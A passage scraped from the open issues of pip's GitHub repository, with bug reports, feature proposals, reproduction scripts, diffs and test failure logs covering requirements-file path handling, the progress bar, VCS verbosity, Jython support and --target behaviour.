     |█████████████████████████████▌  | 1.4 MB 14
     |█████████████████████████████▌  | 1.4 MB 14
     |██████████████████████████████  | 1.4 MB 12
     |██████████████████████████████  | 1.4 MB 9.4
     |██████████████████████████████  | 1.4 MB 9.4
     |██████████████████████████████▌ | 1.4 MB 9.
     |███████████████████████████████ | 1.4 MB 9.
     |███████████████████████████████ | 1.5 MB 9.
     |███████████████████████████████ | 1.5 MB 11
     |███████████████████████████████▌| 1.5 MB 1
     |███████████████████████████████▌| 1.5 MB 1
     |████████████████████████████████| 1.5 MB 1
     |████████████████████████████████| 1.5 MB 1
4 kB/s
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 20.1.1
    Uninstalling pip-20.1.1:
      Successfully uninstalled pip-20.1.1
  WARNING: The scripts pip.exe, pip3.8.exe and pip3.exe are installed in 'C:\Use
rs\Administrator\AppData\Local\Programs\Python\Python38\Scripts' which is not on
 PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warn
ing, use --no-warn-script-location.
Successfully installed pip-20.2.2

C:\Users\******>
```

user: jifbt
labels: project: vendored dependency: Related to a vendored dependency
issue_8828: state: open
title: Proposal: pip-specific environment variable expansion in requirements and constraints files
body: **What's the problem this feature will solve?**
PEP 508 URL specification has been proposed (partly) as the replacement to `dependecy_links` in setup.py. This however causes problems for artifact vendoring since [the `file://` protocol does not provide a way to represent relative paths](https://stackoverflow.com/questions/7857416) and a project’s requirements.txt must hard-code the project root, or use the pip-specific path format, [which is not always viable](https://github.com/pypa/pip/issues/7554#issuecomment-674147501).

**Describe the solution you'd like**
The proposal is to introduce pip-specific environment variables that are populated only during the parsing phase of requirements and constraints files, so users can use them in PEP 508 URL specs. These environment variables should have the prefix `PIP__` (two underscores to avoid conflicts with the command argument variables), and are guarenteed to use the POSIX path representation (i.e. forward slashes, even on Windows). Two such environment variables are proposed for initial addition:

* `PIP__WORKING_DIRECTORY` expands to the direcotry where the `pip` command is run in, i.e. `Path.cwd()`. This is the same as the POSIX `PWD`, but proposed for platform-independent projects.
* `PIP__CURRENT_FILE` expands to the requirements or constraints file that contains the requirement line. This makes it easy to e.g. put the requirements.txt and vendored artifacts in the same directory, and refer to an artifact with `package @ file://${PIP__CURRENT_FILE}/../package-1.0-py3-none-any.whl`.

**Alternative Solutions**
* Allow paths in PEP 508. I don’t really like this (filesystem path is a hairy thing to specify in a cross-platform way), and have a feeling others may share the same view.
* Propose a pip wrapper that automatically generates a requirements.txt from a template. But requirements.txt is underspecified and difficult for a third-party tool to support. Ican develop for only the scenarios I personally need, but it is difficult to suggest it to other people.

**Additional context**
This would also serve as a solution to #8765. Users can use these environment variables instead of relative paths to avoid the quirky resolution logic. We can even consider deprecating relative paths altogether if this gets adopted well.
user: uranusjr
labels: type: enhancement: Improvements to functionality
C: requirement file: Using `requirements.txt`
issue_8825: state: open
title: Lost cursor after exception while progress bar is progressing
body: ### Environment

* pip version: 0b18e21cbe64b1bd089e280fd8ba592cdbfcac61
* Python version: 3.8, but should be irrelevant
* OS: Debian testing


### Description

pip's current implementation of progress bar hides the cursor when it is progressing.  There are two ways the cursor is toggled back:

* At the end of the download
* On interruption

Other exception, e.g. network timeout (which can be simulated by turning off the system's network in the middle of the download) would leave the terminal without a cursor.  I'm not sure if this happens on all terminal emulator but it's the case for at least urxvt.

### Posible fix

Making the progress bar a context manager which calls its `.finish` in `__exit__` is likely to solve the issue.

### How to Reproduce

1. Download something that is large enough for one to have the time to act, e.g. `pip install tensorflow`
2. Turn off the system's network
3. ???
4. Profit

Alternatively one could apply the following patch to current master:

```diff
diff --git a/src/pip/_internal/network/download.py b/src/pip/_internal/network/download.py
index 56feaabac..8a16360c3 100644
--- a/src/pip/_internal/network/download.py
+++ b/src/pip/_internal/network/download.py
@@ -206,5 +206,6 @@ class BatchDownloader(object):
             with open(filepath, 'wb') as content_file:
                 for chunk in chunks:
                     content_file.write(chunk)
+                    raise RuntimeError
             content_type = resp.headers.get('Content-Type', '')
             yield link.url, (filepath, content_type)
```

I am quite familiar with this part of the codebase so I'll submit a patch soon.
user: McSinyx
issue_8821: state: open
title: -r in constraint files yields constraints
body: Fixes #8416

- [ ] test
- [ ] documentation
user: sbidoul
issue_8819: state: open
title: Add ability to enable verbose mode for VCS tools 
body: **What's the problem this feature will solve?**

I am currently struggling to debug an issue with pulling dependencies from GitHub Enterprise, probably owing to auth errors. However, the details are hidden because `pip` is executing `git` with the `-q` flag, even when `pip` itself is running with `-vvv`.

```
ERROR: Command errored out with exit status 128: git clone -q 'ssh://****@github.***com/***/***.git' /tmp/pip-install-8sx2d1op/*** Check the logs for full command output.
```

This is the inverse problem to https://github.com/pypa/pip/issues/8460.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

`pip install` -> `git clone -q`
`pip install -v` -> `git clone`
`pip install -vv` -> `git clone -v`

The same change could be made for the other `git` commands, although `git clone` is the most critical as it is where auth errors will first show up.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

Not really. I've looked into the code to validate the current behavior, and am game to help make this change, although I need to ascertain how to plumb the verbosity level into the VCS class. In the meantime I may hack the pip source on the remote machine just to show up the Git errror.

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

user: jackwhelpton
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_8810: state: open
title: When LOGNAME environment variable contains `\` some tests fail.
body: **Environment**

* pip version: 20.2.2 (but actually master as of today).
* Python version: CPython 3.8.5
* OS: Ubuntu 18.04

<!-- Feel free to add more information about your environment here -->

**Description**
When `LOGNAME` contains a backslash (`\`) some tests fail.

This can happen when a linx machine is bound to an ActiveDirectory domain using `PowerBroker Identity Services`.

In those cases the environment variables `LOGNAME` and `USER` will contain a value in the format `DOMAINNAME\username

**Expected behavior**

All tests should pass.

**How to Reproduce**

1. Checkout pip from source
2. Create a virtualenv
3. Install the test requirements (`pip install -r tools/requirements/tests.txt`).
4. Run:

```
LOGNAME='DOMAIN\user' pytest tests/functional/test_install.py::test_pep518_refuses_conflicting_requires
```

**Output**

```
=============================================================================================== test session starts ================================================================================================
platform linux -- Python 3.8.5, pytest-6.0.1, py-1.9.0, pluggy-0.13.1
rootdir: /path/to/checkout/pip, configfile: setup.cfg
plugins: timeout-1.4.2, forked-1.3.0, rerunfailures-9.0, xdist-2.1.0, cov-2.10.1
collected 1 item                                                                                                                                                                                                   

tests/functional/test_install.py F                                                                                                                                                                           [100%]

===================================================================================================== FAILURES =====================================================================================================
_____________________________________________________________________________________ test_pep518_refuses_conflicting_requires _____________________________________________________________________________________

script = <tests.lib.PipTestEnvironment object at 0x7f760c35a670>, data = <tests.lib.TestData object at 0x7f760c35a7c0>

    def test_pep518_refuses_conflicting_requires(script, data):
        create_basic_wheel_for_package(script, 'setuptools', '1.0')
        create_basic_wheel_for_package(script, 'wheel', '1.0')
        project_dir = data.src.joinpath("pep518_conflicting_requires")
        result = script.pip_install_local('-f', script.scratch_path,
                                          project_dir, expect_error=True)
>       assert (
            result.returncode != 0 and (
                'Some build dependencies for {url} conflict '
                'with PEP 517/518 supported '
                'requirements: setuptools==1.0 is incompatible with '
                'setuptools>=40.8.0.'
                .format(url=path_to_url(project_dir))) in result.stderr
        ), str(result)
E       AssertionError: Script result: python -m pip install --no-index --find-links file:///path/to/checkout/pip/tests/data/packages -f /tmp/pytest-of-DOMAIN\username/pytest-0/test_pep518_refuses_conflictin0/workspace/scratch /tmp/pytest-of-DOMAIN\username/pytest-0/test_pep518_refuses_conflictin0/data/src/pep518_conflicting_requires
E           return code: 1
E         -- stderr: --------------------
E         ERROR: Some build dependencies for file:///tmp/pytest-of-DOMAIN%5Cusername/pytest-0/test_pep518_refuses_conflictin0/data/src/pep518_conflicting_requires conflict with PEP 517/518 supported requirements: setuptools==1.0 is incompatible with setuptools>=40.8.0.
E         
E         -- stdout: --------------------
E         Looking in links: file:///path/to/checkout/pip/tests/data/packages, /tmp/pytest-of-DOMAIN\username/pytest-0/test_pep518_refuses_conflictin0/workspace/scratch
E         Processing /tmp/pytest-of-DOMAIN\username/pytest-0/test_pep518_refuses_conflictin0/data/src/pep518_conflicting_requires
E           Installing build dependencies: started
E           Installing build dependencies: finished with status 'done'
E         
E       assert (1 != 0 and 'Some build dependencies for file:///tmp/pytest-of-DOMAIN\\username/pytest-0/test_pep518_refuses_conflictin0/data/src/...ng_requires conflict with PEP 517/518 supported requirements: setuptools==1.0 is incompatible with setuptools>=40.8.0.' in 'ERROR: Some build dependencies for file:///tmp/pytest-of-DOMAIN%5Cusername/pytest-0/test_pep518_refuses_conflictin0/d..._requires conflict with PEP 517/518 supported requirements: setuptools==1.0 is incompatible with setuptools>=40.8.0.\n')
E        +  where 1 = <tests.lib.TestPipResult object at 0x7f760c3950a0>.returncode
E        +  and   'Some build dependencies for file:///tmp/pytest-of-DOMAIN\\username/pytest-0/test_pep518_refuses_conflictin0/data/src/...ng_requires conflict with PEP 517/518 supported requirements: setuptools==1.0 is incompatible with setuptools>=40.8.0.' = <built-in method format of str object at 0x7f760c437c30>(url='file:///tmp/pytest-of-DOMAIN\\username/pytest-0/test_pep518_refuses_conflictin0/data/src/pep518_conflicting_requires')
E        +    where <built-in method format of str object at 0x7f760c437c30> = 'Some build dependencies for {url} conflict with PEP 517/518 supported requirements: setuptools==1.0 is incompatible with setuptools>=40.8.0.'.format
E        +    and   'file:///tmp/pytest-of-DOMAIN\\username/pytest-0/test_pep518_refuses_conflictin0/data/src/pep518_conflicting_requires' = path_to_url(Path('/tmp/pytest-of-DOMAIN\\username/pytest-0/test_pep518_refuses_conflictin0/data/src/pep518_conflicting_requires'))
E        +  and   'ERROR: Some build dependencies for file:///tmp/pytest-of-DOMAIN%5Cusername/pytest-0/test_pep518_refuses_conflictin0/d..._requires conflict with PEP 517/518 supported requirements: setuptools==1.0 is incompatible with setuptools>=40.8.0.\n' = <tests.lib.TestPipResult object at 0x7f760c3950a0>.stderr

tests/functional/test_install.py:82: AssertionError
---------------------------------------------------------------------------------------------- Captured stderr setup -----------------------------------------------------------------------------------------------
warning: no files found matching 'docs/docutils.conf'
warning: no previously-included files found matching '.coveragerc'
warning: no previously-included files found matching '.mailmap'
warning: no previously-included files found matching '.appveyor.yml'
warning: no previously-included files found matching '.travis.yml'
warning: no previously-included files found matching '.readthedocs.yml'
warning: no previously-included files found matching '.pre-commit-config.yaml'
warning: no previously-included files found matching 'tox.ini'
warning: no previously-included files found matching 'noxfile.py'
warning: no files found matching 'Makefile' under directory 'docs'
warning: no files found matching '*.rst' under directory 'docs'
warning: no files found matching '*.py' under directory 'docs'
warning: no files found matching '*.bat' under directory 'docs'
warning: no previously-included files found matching 'src/pip/_vendor/six'
warning: no previously-included files found matching 'src/pip/_vendor/six/moves'
warning: no previously-included files matching '*.pyi' found under directory 'src/pip/_vendor'
no previously-included directories found matching '.github'
no previously-included directories found matching '.azure-pipelines'
no previously-included directories found matching 'docs/build'
no previously-included directories found matching 'news'
no previously-included directories found matching 'tasks'
no previously-included directories found matching 'tests'
no previously-included directories found matching 'tools'
============================================================================================= short test summary info ==============================================================================================
FAILED tests/functional/test_install.py::test_pep518_refuses_conflicting_requires - AssertionError: Script result: python -m pip install --no-index --find-links file:///path/to/checkout/pip...
================================================================================================ 1 failed in 2.07s =================================================================================================
```

user: leorochael
labels: C: tests: Testing and related things
issue_8806: state: open
title: pip >= 20.0 fails when running in Jython on Windows due to dependency on JNA
body: **Environment**

* pip version: 20.0 - 20.2.2
* Python version: Jython 2.7.2  (Java 11)
* OS: Windows 10


**Description**

Updating pip on Jython 2.7.2 from 19.1 to the latest causes pip to stop working.


**How to Reproduce**

1. Install Jython
2. Run "jython -m ensurepip" to install pip 19.1
3. Run "jython -m pip install --upgrade pip" to go to pip 20.2.2
4. Run "jython -m pip install &lt;anything&gt;" and observe the following error.

**Output**

```
jython -m pip install requests
Traceback (most recent call last):
  File "C:\jython2.7.2\Lib\runpy.py", line 161, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "C:\jython2.7.2\Lib\runpy.py", line 72, in _run_code
    exec code in run_globals
  File "C:\jython2.7.2\Lib\site-packages\pip\__main__.py", line 23, in <module>
    from pip._internal.cli.main import main as _main  # isort:skip # noqa
  File "C:\jython2.7.2\Lib\site-packages\pip\_internal\cli\main.py", line 10, in <module>
    from pip._internal.cli.autocompletion import autocomplete
  File "C:\jython2.7.2\Lib\site-packages\pip\_internal\cli\autocompletion.py", line 9, in <module>
    from pip._internal.cli.main_parser import create_main_parser
  File "C:\jython2.7.2\Lib\site-packages\pip\_internal\cli\main_parser.py", line 7, in <module>
    from pip._internal.cli import cmdoptions
  File "C:\jython2.7.2\Lib\site-packages\pip\_internal\cli\cmdoptions.py", line 23, in <module>
    from pip._internal.cli.progress_bars import BAR_TYPES
  File "C:\jython2.7.2\Lib\site-packages\pip\_internal\cli\progress_bars.py", line 12, in <module>
    from pip._internal.utils.logging import get_indentation
  File "C:\jython2.7.2\Lib\site-packages\pip\_internal\utils\logging.py", line 18, in <module>
    from pip._internal.utils.misc import ensure_dir
  File "C:\jython2.7.2\Lib\site-packages\pip\_internal\utils\misc.py", line 33, in <module>
    from pip._internal.locations import (
  File "C:\jython2.7.2\Lib\site-packages\pip\_internal\locations.py", line 31, in <module>
    USER_CACHE_DIR = appdirs.user_cache_dir("pip")
  File "C:\jython2.7.2\Lib\site-packages\pip\_internal\utils\appdirs.py", line 23, in user_cache_dir
    return _appdirs.user_cache_dir(appname, appauthor=False)
  File "C:\jython2.7.2\Lib\site-packages\pip\_vendor\appdirs.py", line 300, in user_cache_dir
    path = os.path.normpath(_get_win_folder("CSIDL_LOCAL_APPDATA"))
  File "C:\jython2.7.2\Lib\site-packages\pip\_vendor\appdirs.py", line 474, in _get_win_folder_from_registry
    import _winreg
ImportError: No module named _winreg
```

**Analysis**

The ImportError is a bit of a red herring.

This seems to be due to the relatively recent appdirs refactor, which now points to _vendor for most code, making it use the CSIDL directory names in Windows, and using JNA to look those up when using Java.

The problem is that JNA doesn't ship with Java, so if someone is running Jython from the command line, they need to download two JNA jars and add them as command line arguments whenever they invoke pip.  As mentioned, the actual error message is a red herring, since _winreg is only attempted after pip tries JNA, but at that point JNA has failed.  (Jython doesn't include _winreg, so this will always fail.)

This seems important to resolve this year, since Jython 2.7 is the current version, 3.x is still a while out, and it's likely folks running Jython 2.7 will be upgrading to pip &lt;20.latest&gt; going into the future, as pip 21 will stop supporting Python 2.7.  Getting a resolution into pip 20 before pip 21 comes around would be ideal.

**Possible resolutions**

1) Restore the old behavior as a fallback for _get_win_folder when everything else fails.  ( Use os.path.expanduser("\~/.cache") and "\~/.config". )
2) Create a slightly more complex function as a fallback.  That could use os.path to get the user directory, and then have a mapping of the CSIDL to directory paths, to attempt to return the right path for the current Windows version and roaming profile.
3) Change the OS detection back to be similar to how _internal/tools/appdirs.py did it.  WINDOWS was used as the variable to determine if the OS was on Windows, and Jython returned False, making it just go through the code paths that use os.path.expanduser() by default.  (Doing this would bypass the JNA code, which is a nice piece of code for folks running systems with JNA, so it might not be ideal.)
4) Although less desirable, throwing an Exception if the user is running Jython and doesn't have JNA would at least help folks troubleshoot, instead of being presented with a _winreg module import error.
5) Something I haven't thought of?

If there's appetite for any of these options, I am happy to submit a PR if that would be helpful.  If so, please let me know which of the options makes the most sense.
user: Kevin-McClusky
labels: project: <downstream>: When the cause/effect is related to redistributors
issue_8799: state: open
title: Unexpected --target behavior with/without --upgrade
body: **Environment**

* pip version:
```
$ docker run -it python pip --version
pip 20.2.2 from /usr/local/lib/python3.8/site-packages/pip (python 3.8)
```

* Python version:
```
$ docker run -it python python --version
Python 3.8.5
```

* OS:
```
$ docker run -it python uname -a
Linux 098fbbd81e20 4.19.76-linuxkit #1 SMP Tue May 26 11:42:35 UTC 2020 x86_64 GNU/Linux
```

**Description**
In a fresh Docker container, I'm seeing a difference in the files installed between `pip install X --target /tmp` and `pip install X --target /tmp --upgrade`. My understanding of [`--target`](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-t) is that the `--upgrade` flag will only produce different behavior if there's already an existing installation present.

I can't determine if this due to a badly formed distribution of [the project in question](https://pypi.org/project/teradatasql/), a bug in `pip`, `wheel`, or a combination of them all.

(You can ignore `--no-deps` below, I just included it to keep the output smaller).

**Behavior without `--upgrade`**
```
$ docker run -it python bash
root@cdd4f75b6a82:/# ls /tmp

root@b899188462d1:/# pip install -t /tmp --no-deps teradatasql
Collecting teradatasql
  Downloading teradatasql-17.0.0.4-py3-none-any.whl (16.4 MB)
     |████████████████████████████████| 16.4 MB 5.2 MB/s
Installing collected packages: teradatasql
Successfully installed teradatasql-17.0.0.4
WARNING: Target directory /tmp/teradatasql already exists. Specify --upgrade to force replacement.

root@b899188462d1:/# tree /tmp
/tmp
├── teradatasql
│   ├── __init__.py
│   ├── __pycache__
│   │   ├── __init__.cpython-38.pyc
│   │   └── vernumber.cpython-38.pyc
│   ├── teradatasql.dll
│   ├── teradatasql.dylib
│   ├── teradatasql.so
│   └── vernumber.py
└── teradatasql-17.0.0.4.dist-info
    ├── INSTALLER
    ├── METADATA
    ├── RECORD
    ├── REQUESTED
    ├── WHEEL
    └── top_level.txt

3 directories, 13 files
```

**Behavior with `--upgrade`**
```
$ docker run -it python bash
root@cdd4f75b6a82:/# ls /tmp

root@6c6a7d9f84a7:/# pip install -t /tmp --no-deps --upgrade teradatasql
Collecting teradatasql
  Downloading teradatasql-17.0.0.4-py3-none-any.whl (16.4 MB)
     |████████████████████████████████| 16.4 MB 7.3 kB/s
Installing collected packages: teradatasql
Successfully installed teradatasql-17.0.0.4

root@6c6a7d9f84a7:/# tree /tmp
/tmp
├── teradatasql
│   ├── LICENSE
│   ├── README.md
│   ├── THIRDPARTYLICENSE
│   └── samples
│       ├── BatchInsPerf.py
│       ├── BatchInsert.py
│       ├── CharPadding.py
│       ├── CommitRollback.py
│       ├── DriverDatabaseVersion.py
│       ├── ElicitFile.py
│       ├── FakeResultSetCon.py
│       ├── FakeResultSetEsc.py
│       ├── FastLoadBatch.py
│       ├── HelpSession.py
│       ├── IgnoreErrors.py
│       ├── InsertXML.py
│       ├── LoadCSVFile.py
│       ├── MetadataFromPrepare.py
│       ├── ParamDataTypes.py
│       ├── StoredProc.py
│       ├── TJEncryptPassword.py
│       ├── __pycache__
│       │   ├── BatchInsPerf.cpython-38.pyc
│       │   ├── BatchInsert.cpython-38.pyc
│       │   ├── CharPadding.cpython-38.pyc
│       │   ├── CommitRollback.cpython-38.pyc
│       │   ├── DriverDatabaseVersion.cpython-38.pyc
│       │   ├── ElicitFile.cpython-38.pyc
│       │   ├── FakeResultSetCon.cpython-38.pyc
│       │   ├── FakeResultSetEsc.cpython-38.pyc
│       │   ├── FastLoadBatch.cpython-38.pyc
│       │   ├── HelpSession.cpython-38.pyc
│       │   ├── IgnoreErrors.cpython-38.pyc
│       │   ├── InsertXML.cpython-38.pyc
│       │   ├── LoadCSVFile.cpython-38.pyc
│       │   ├── MetadataFromPrepare.cpython-38.pyc
│       │   ├── ParamDataTypes.cpython-38.pyc
│       │   ├── StoredProc.cpython-38.pyc
│       │   └── TJEncryptPassword.cpython-38.pyc
│       ├── airports.csv
│       └── udfinc.c
└── teradatasql-17.0.0.4.dist-info
    ├── INSTALLER
    ├── METADATA
    ├── RECORD
    ├── REQUESTED
    ├── WHEEL
    └── top_level.txt

4 directories, 45 files
```

**Expected behavior**
The same files are installed regardless of whether `--upgrade` is specified.
user: di
labels: type: bug: A confirmed bug or unintended behavior
C: target: pip install's --target option's behaviour handling
state: awaiting PR: Feature discussed, PR is needed
issue_8796: state: open
title: Disallow --user installs if site.ENABLE_USER_SITE is False.
body: #8794 highlighted that ``site.ENABLE_USER_SITE`` was being ignored when ``pip install --user`` is being set (when not in a virtualenvironment). This is in contrast to the behaviour for ``virtualenvs`` which raises an ``InstallationError`` since the installed packages wouldn't be on the ``sys.path`` afterwards.

This MR brings about the symmetry by preventing the user from being able to do ``--user`` when ``site.ENABLE_USER_SITE`` is set. I wasn't sure on the best testing strategy for this change, so didn't implement any tests at this point (happy to take advice).
user: pelson
issue_8794: state: open
title: pip ignores the site.ENABLE_USER_SITE value if user is set explicitly (asymetric with venv behaviour)
body: **Environment**

* pip version: 20.2.0 & master
* Python version: all
* OS: all

**Description**

When we have a venv or virtualenv, and ``site.ENABLE_USER_SITE`` is ``False``, and try to ``pip install --user`` and error is raised (``InstallationError``). If we do the same with a non-virtual environment, the ``ENABLE_USER_SITE`` value is ignored.

```
$ python -m venv /tmp/venv
$ source /tmp/venv/bin/activate
(venv) $ PYTHONNOUSERSITE=1 pip install --user typing-extensions
ERROR: Can not perform a '--user' install. User site-packages are not visible in this virtualenv.
```

But with a base environment (i.e. not virtual):

```
(venv) $ deactivate
$ PYTHONNOUSERSITE=1 pip -v install --user typing-extensions
Using pip 20.2.2 from /usr/local/lib/python3.8/site-packages/pip (python 3.8)
User install by explicit request
...
Collecting typing-extensions
  Using cached typing_extensions-3.7.4.3-py3-none-any.whl (22 kB)
Installing collected packages: typing-extensions
Successfully installed typing-extensions-3.7.4.3
```




**Expected behavior**

I expect the ``site.ENABLE_USER_SITE`` to *always* be honoured


user: pelson
labels: C: user scheme: Handling of packages in user-specific directories
state: needs eyes: Needs a maintainer/triager to take a closer look
issue_8784: state: open
title: Add a widget to pip's docs to collect user feedback
body: Following on from https://github.com/pypa/pip/issues/8783

Collecting user feedback about pip's docs by email is a great first step, but it would be _better_ if we could:
- collect this data in a way that is more user friendly
- send the data to a database, spreadsheet, etc. for easier analysis

For this, we should consider installing a feedback widget.

Preliminary mockups from @jdittrich:

![Screenshot from 2020-08-19 15-48-39](https://user-images.githubusercontent.com/3323703/90650238-8de49a00-e233-11ea-80b5-86a1ef64c415.png)

![Screenshot from 2020-08-19 15-48-45](https://user-images.githubusercontent.com/3323703/90650234-8d4c0380-e233-11ea-9f39-10cfdf556bc6.png)

## Possible solutions:

1. Collaborate with read the docs (cc @ericholscher) to build a widget integrated into Sphinx
2. Build something custom for pip's docs
3. Find a third party widget that will fulfil our requirements




user: nlhkabu
labels: type: docs: Documentation related
type: feature request: Request for a new feature
UX: User experience related
issue_8779: state: open
title: Improve error output when a package’s setup.py fails
body: When pip encounters an error executing a subprocess like egg_info/install/build, it outputs the full autogenerated `_SETUPTOOLS_SHIM` code. I have quite frequently seen cases where users did not notice a simple one-line error message because it is obscured by the shim code. For example:

![image](https://user-images.githubusercontent.com/5423929/90525857-4a8e1b00-e1a2-11ea-9570-0ba4471cfaad.png)
![image](https://user-images.githubusercontent.com/5423929/84931314-3330a400-b105-11ea-8cf7-062af9b5f403.png)

That shim code seems like something that should be sent to debug logs, whereas by default it should just say something like `command: "python setup.py egg_info"`. In fact as I look in the source I can see there is already the `command_desc` arg, which is used to print the short version of the error to the console. How about using `command_desc` in `make_subprocess_output_error()` also? I understand that showing the full command could be useful in debugging an issue, but in this case I am wondering if it does more harm than good. (And I can't find `command_desc` being used for anything else currently.)
user: oTree-org
labels: UX: User experience related
C: error messages: Improving error messages
issue_8769: state: open
title: OS Error 9: Bad file descriptor while trying to use pip install ....
body: OS Version: Windows 10
Python version: Version 3.6

Attached is a screenshot of the error

![err](https://user-images.githubusercontent.com/45470783/90323672-6d2ef280-df5c-11ea-985c-7a5e522006c8.JPG)

user: EdinyangaOttoho
labels: OS: windows: Windows specific
type: support: User Support
issue_8767: state: open
title: FR: Give warnings when users add package version number to "pip uninstall"
body: **What's the problem this feature will solve?**
`pip uninstall` parses the package names as is in `pip install`, but will throw away the version requirement. Therefore, when people want to uninstall a package only if they are at a certain version (this often happen especially during the Python 2/3 transition year), they might accidentally uninstall a package version they didn't meant to.

A warning would avoid users to uninstall the wrong package(s) in a useful way.

**Describe the solution you'd like**

Give a warning (maybe around [here](https://github.com/pypa/pip/blob/master/src/pip/_internal/commands/uninstall.py#L65)) telling users that pip will not check if the given version matches when uninstalling packages. For example:

``` sh
$ pip list
example 1.0.0
$ pip uninstall example==2.0.0
Warn: pip will not check the version when uninstalling packages.
Found existing installation: example 1.0.0
...
```

**Alternative Solutions**
Maybe we can do the version check when uninstalling packages, since the user has a clear intention when adding version numbers to package names.

**Additional context**
(None)

user: outloudvi
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8765: state: open
title: Surprising behaviour of relative directory references in requirement files
body: **Environment**

* pip version: 20.2
* Python version: 3.8 (most probably irrelevant)
* OS: linux (most probably irrelevant)

**Description**

In requirement files, relative references to other requirement files (via `-r` or `-c`) are interpreted to be relative to the base url of the including file. However requirements expressed as relative directories (with our without `-e`) are interpreted to be relative to the current working directory.

**Expected behavior**

Relative directory requirements should be interpreted as relative to the base url of the requirement file.

**How to Reproduce**

The following bash scripts fails installing `./pkga`, where I'd expect it to succeed.

```bash
#!/bin/bash
set -ex
cd $(mktemp -d)
mkdir -p testdir/subdir/pkga
echo "from setuptools import setup; setup(name='pkga')" > testdir/subdir/pkga/setup.py
echo "-r subdir/subreqs.txt" > testdir/reqs.txt
echo "./pkga" > testdir/subdir/subreqs.txt
pip install -r testdir/reqs.txt
```

output:

```
ERROR: Invalid requirement: './pkga' (from line 1 of testdir/subdir/subreqs.txt)
Hint: It looks like a path. File './pkga' does not exist.
```

**Compatibility considerations**

Modifying this behaviour would be a breaking change.
Assuming there is agreement this needs changing, could this be introduced as part of the `2020-resolver` feature flag?

user: sbidoul
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
C: requirement file: Using `requirements.txt`
S: needs triage: Issues/PRs that need to be triaged
issue_8763: state: open
title: new 'wheel' dependencies impact on pip freeze
body: `pip freeze` excludes `pip`, `setuptools`, and `wheel` by default, unless the `--all` option is passed.

Now that `wheel` depends on `packaging` which in turn depends on `pyparsing` and `six`, new, possibly unexpected lines are emitted by `pip freeze`.

I'm not sure yet if it is a problem in practice.
user: sbidoul
labels: C: freeze: 'pip freeze' related
state: needs discussion: This needs some more discussion
issue_8754: state: open
title: Install and download subcommand conclusion needs improving
body: I wonder if this is a good chance to change the output format as well. The current space-delimited format is very difficult to parse, both visually or by a program.

The same actually applies to the “successfully installed” message for `pip install` as well. Would a PR changing it to, say, one package on a line, be welcomed?

_Originally posted by @uranusjr in https://github.com/pypa/pip/pull/8709#issuecomment-671947848_

Currently this is how they look like (I'm using a screenshot to show the hard line breaks):

![2020-08-12T20:31:27](https://user-images.githubusercontent.com/13689192/90021131-06e76d00-dcdb-11ea-9dbe-93b18ce44a7f.png)

The following is the output of aptitude, which put all (also space-delimited) packages name to a separate block and *soft* wrap them:

```console
# aptitude safe-upgrade 
Resolving dependencies...                
The following NEW packages will be installed:
  libdaxctl1{a} libjs-highlight.js{a} libmujs1{a} libndctl6{a} libstd-rust-1.45{a} 
The following packages will be REMOVED:
  ant-contrib{u} libstd-rust-1.43{u} libx264-155{u} 
The following packages will be upgraded:
  bash bash-completion bsdmainutils calendar flatpak gstreamer1.0-plugins-ugly 
  gstreamer1.0-plugins-ugly-dbg gstreamer1.0-plugins-ugly-doc libblas3 libc-bin 
  libc-dev-bin libc-l10n libc6 libc6:i386 libc6-dbg libc6-dev libc6-dev-i386 
  libc6-dev-x32 libc6-i386 libc6-x32 libcap2 libcap2-bin libfreexl1 libglade2-0 
  libguice-java libheif1 libkf5coreaddons-data libkf5coreaddons5 libkf5js5 
  libkf5jsapi5 libkf5kexiv2-15.0.0 liblapack-dev liblapack3 libmatroska7 
  libmodule-scandeps-perl libnode-dev libnode72 libpmem1 libportaudio2 
  libqt5designer5 libqt5help5 libqt5webkit5 libserializer-java 
  libsource-highlight-common libsource-highlight4v5 libspectre1 libstd-rust-dev 
  libstemmer0d libzstd-dev libzstd1 libzstd1:i386 locales mkvtoolnix mupdf-tools 
  ncal:i386 nodejs nodejs-doc ovmf pandoc pandoc-data pci.ids python3-cryptography 
  python3-socks qemu-system-common qemu-system-data qemu-user-static qemu-utils 
  ruby-childprocess rust-gdb rustc texlive-lang-greek texlive-lang-other vokoscreen 
  vokoscreen-ng 
The following packages are RECOMMENDED but will NOT be installed:
  libpam-cap 
74 packages upgraded, 5 newly installed, 3 to remove and 2 not upgraded.
Need to get 296 MB of archives. After unpacking 9,557 kB will be used.
Do you want to continue? [Y/n/?]
```

One other alternatives I can think of are comma-delimited and newline-delimited lists.  I'm also wondering if we want to change the format used to report the version so that uninstallation is copy-pastable, e.g. `appdirs==1.4.4` instead of `appdirs-1.4.4`.
user: McSinyx
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
UX: User experience related
issue_8725: state: open
title: General support for target installation paths
body: ```sh
py_version=$(python --version | grep -o -E '[0-9]+[.][0-9]+')
package_dir=$(mktemp -d -t tmp_python_XXXXXX)
package_dst=${package_dir}/python/lib/python${py_version}/site-packages
mkdir -p "$package_dst"

python -m pip install -t "${package_dst}" six

# the following cannot be done with pip 20.x
python -m pip show -t "${package_dst}" six
python -m pip uninstall -t "${package_dst}" -y six
python -m pip check -t "${package_dst}"

# the list command has an option named '--path' instead of '-t' or '--target';
# a unified set of options for this API could be created for target paths?
python -m pip list --path "$package_dst"
```

The value of full support for a target installation path is that it only contains added dependencies and it would be useful to be able to `pip show`, `pip uninstall` and `pip check` the packages in the target path without touching anything else.  Even a clean-virtualenv contains a lot of extra packaging cruft, making it difficult to extract only added dependencies; one use-case for this is to build AWS lambda layers with only the required packages.



user: dazza-codes
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_8723: state: open
title: Fast-deps: bad interaction with Artifactory leading to zipfile.BadZipFile
body: **What did you want to do?**
